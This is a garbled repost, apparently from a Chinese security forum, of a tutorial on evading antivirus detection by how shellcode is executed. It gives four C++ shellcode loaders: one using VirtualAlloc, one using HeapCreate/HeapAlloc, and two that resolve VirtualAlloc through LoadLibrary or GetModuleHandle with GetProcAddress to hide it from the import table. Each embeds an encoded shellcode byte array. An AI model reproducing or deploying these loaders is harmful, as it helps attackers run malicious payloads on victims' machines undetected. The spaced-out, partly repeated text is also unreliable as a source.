[6827] 2020-07-19_执行方式免杀之调用API(FUD101连载二)

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-17
2020-07-19_执行方式免杀之调用API(FUD101连载二)   A P I F U D 1 0 1 E   2 0 2 0 - 0 7 - 1 9   1 y 0 n 使 ( g i t h u b ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l ] ( ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l / r e l e a s e s ]   C + +   V S 2 0 1 9   A P I   A P I :   A P I O p e r a t i n g   s y s t e m 使 A P I I A T :   I A T I m p o r t   A d d r e s s   T a b l e I A T d l l d l l p e d l l P E P E I A T C S D N   .
使   P E v i e w     I A T I A T   N o . 1 N o . 1 V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c   L P V O I D   V i r t u a l A l l o c {         L P V O I D   l p A d d r e s s ,   / /           D W O R D   d w S i z e ,   / /           D W O R D   f l A l l o c a t i o n T y p e ,   / /           D W O R D   f l P r o t e c t   / /   } ; h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     / / W i n d o w s u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ; v o i d   m a i n ( ) {         c h a r *   p   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( p ,   s h e l l c o d e ,   s i z e o f ( s h e l l c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) p ) ( ) ; }   V i r t u a l A l l o c   m e m e c p y     s h e l l c o d e     s h e l l c o d e     I A T   V i r t u a l A l l o c   使   A P I     V i r t u a l A l l o c   N o . 2 N o . 2 V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c   A P I     V i r t u a l A l l o c H e a p C r e a t e / H e a p A l l o c H e a p C r e a t e   H A N D L E   H e a p C r e a t e (           D W O R D     f l O p t i o n s ,         / /           S I Z E _ T   d w I n i t i a l S i z e ,   / /               S I Z E _ T   d w M a x i m u m S i z e     / / ) ; H e a p A l l o c   D E C L S P E C _ A L L O C A T O R   L P V O I D   H e a p A l l o c (           H A N D L E   h H e a p ,             / /           D W O R D     d w F l a g s ,         / /           S I Z E _ T   d w B y t e s           / / ) ;   V i r t u a l A l l o c   #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     v o i d   m a i n ( ) {         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         H A N D L E   H e a p H a n d l e   =   H e a p C r e a t e ( H E A P _ C R E A T E _ E N A B L E _ E X E C U T E ,   s i z e o f ( c o d e ) ,   s i z e o f ( c o d e ) ) ;         c h a r *   B U F F E R   =   ( c h a r * ) H e a p A l l o c ( H e a p H a n d l e ,   H E A P _ Z E R O _ M E M O R Y ,   s i z e o f ( c o d e ) ) ;         m e m c p y ( B U F F E R ,   c o d e ,   s i z e o f ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) B U F F E R ) ( ) ; } L o a d L i b r a r y / G e t P r o c A d d r e s s L o a d L i b r a r y  
H M O D U L E   L o a d L i b r a r y A (           L P C S T R   l p L i b F i l e N a m e       / / ) ; G e t P r o c A d d r e s s   F A R P R O C   G e t P r o c A d d r e s s (           H M O D U L E   h M o d u l e ,           / / D L L           L P C S T R     l p P r o c N a m e       / / ) ;   L o a d L i b r a r y     G e t P r o c A d d r e s s   D L L     D L L     L o a d L i b r a r y     F r e e L i b r a r y     V i r t u a l A l l o c   #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     v o i d   m a i n ( ) {         t y p e d e f   L P V O I D ( W I N A P I *   V i r t u a l A l l o c B ) ( L P V O I D   l p A d d r e s s ,   S I Z E _ T   d w S i z e ,   D W O R D   f l A l l o c a t i o n T y p e ,   D W O R D   f l P r o t e c t ) ;         V i r t u a l A l l o c B   p   =   ( V i r t u a l A l l o c B ) G e t P r o c A d d r e s s ( L o a d L i b r a r y ( " k e r n e l 3 2 " ) ,   " V i r t u a l A l l o c " ) ;         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         c h a r *   a   =   ( c h a r * ) ( * p ) ( N U L L ,   s i z e o f ( c o d e ) ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( a ,   c o d e ,   s i z e o f ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) a ) ( ) ; } G e t M o d u l e H a n d l e / G e t P r o c A d d r e s s G e t M o d u l e H a n d l e   H M O D U L E   G e t M o d u l e H a n d l e A (           L P C S T R   l p M o d u l e N a m e       / / ) ;   G e t M o d u l e H a n d l e     G e t P r o c A d d r e s s   D L L     V i r t u a l A l l o c   #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     v o i d   m a i n ( ) {             t y p e d e f   L P V O I D   ( W I N A P I *   V i r t u a l A l l o c B ) ( L P V O I D   l p A d d r e s s ,   S I Z E _ T   d w S i z e ,   D W O R D   f l A l l o c a t i o n T y p e ,   D W O R D   f l P r o t e c t ) ;         V i r t u a l A l l o c B   p   =   ( V i r t u a l A l l o c B ) G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e ( " k e r n e l 3 2 " ) ,   " V i r t u a l A l l o c " ) ;         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         c h a r *   a   =   ( c h a r * ) ( * p ) ( N U L L ,   s i z e o f ( c o d e ) ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( a ,   c o d e ,   s i z e o f ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) a ) ( ) ; }   A P I   使   G e t M o d u l e H a n d l e   +   G e t P r o c A d d r e s s   +     F U D   使   s h e l l c o d e   h t t p s : / / w w w . e a s y a q . c o m T w i t t e r   T w i t t e r   S i g R e d W i n d o w s 1 7 I B M i P h o n e U n c 0 v e r   |   2 0 2 0   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则